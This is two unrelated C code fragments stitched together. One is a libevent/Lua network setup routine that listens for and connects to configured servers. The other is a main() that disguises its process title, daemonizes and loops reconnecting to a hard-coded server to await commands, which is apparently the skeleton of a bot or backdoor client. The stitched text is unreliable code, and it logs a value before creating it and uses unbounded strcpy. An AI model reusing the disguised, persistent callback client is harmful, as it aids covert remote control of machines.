static int init_network(lua_State *L, struct event_base *ev_base) { const char *char_name = config_optstring(L, "char_name", NULL); if (!char_name) ERR_EXIT("config error : not found char name\n"); if (init_channel(L) == -1) ERR_EXIT("init client failed\n"); const char *srv_addr = config_optstring(L, char_name, NULL); if (srv_addr) { char ip[MAX_IP_LEN]; int port; if (parse_addr(srv_addr, ip, &port) != 0) ERR_EXIT("server addr error\n"); int fd = start_tcp_listen(ip, port); if (fd == -1) ERR_EXIT("start server failed : %s\n", strerror(errno)); struct event *lsn_ev = event_new(ev_base, fd, EV_READ | EV_PERSIST, new_client, ev_base); event_add(lsn_ev, NULL); } const char *remote_svrs = config_optstring(L, "remote_servers", NULL); lua_newtable(L); lua_pushvalue(L, -1); lua_setglobal(L, "remote_servers"); if (remote_svrs) { size_t sz = strlen(remote_svrs); char tmp[sz+1]; strcpy(tmp, remote_svrs); char *p = strtok(tmp, ";"); while (p) { const char *rsvr_addr = config_optstring(L, p, NULL); if (!rsvr_addr) ERR_EXIT("remote server %s addr not found\n", p); char ip[MAX_IP_LEN]; int port; if (parse_addr(rsvr_addr, ip, &port) != 0) ERR_EXIT("remote server %s addr error\n", p); int fd = connect_tcp_server(ip, port); if (fd == -1) ERR_EXIT("connect to remote server %s failed : %s\n", p, strerror(errno)); int id = alloc_server(); if (id == -1) ERR_EXIT("remote server is full\n"); strcpy(AllChannels[id]._peer_ip, ip); lua_pushnumber(L, id); lua_setfield(L, -2, p); evutil_make_socket_nonblocking(fd); AllChannels[id]._bev = bufferevent_socket_new(ev_base, fd, BEV_OPT_CLOSE_ON_FREE); bufferevent_setcb(AllChannels[id]._bev, readcb, NULL, errorcb, (void *)(intptr_t)id); bufferevent_enable(AllChannels[id]._bev, EV_READ|EV_WRITE); p = strtok(NULL, ";"); } } lua_pop(L, 1); return 0; }
int main(int argc, char **argv) { alexjlz_log(1, "client started:%s\n", uuid); generate_uuid(); alexjlz_log(1, "uuid generated:%s\n", uuid); getOurIP(); srand(time(NULL) ^ getpid()); init_rand(time(NULL) ^ getpid()); set_proc_title(argc, argv, PROC_TITLE); alexjlz_log(1, "set proc title success\n"); while (1) { if ( daemonize() == 0 ) break; alexjlz_log(3, "daemonize failed\n"); sleep(3); } alexjlz_log(3, "daemonize success\n"); while ( 1 ) { if( (mainCommSock=connect_tcp_server(server, port)) == -1) { alexjlz_log(3, "connect to server failed\n"); sleep(5); continue; } alexjlz_log(3, "connect to server success\n"); if ( ask_for_service( mainCommSock ) == -1 ) // return from this function means connection between client // and server are unexpectedly closed { //fprintf(stdout, "error in client\n"); } if ( check_fd(mainCommSock) ) { close(mainCommSock); } sleep(3); } return 0; }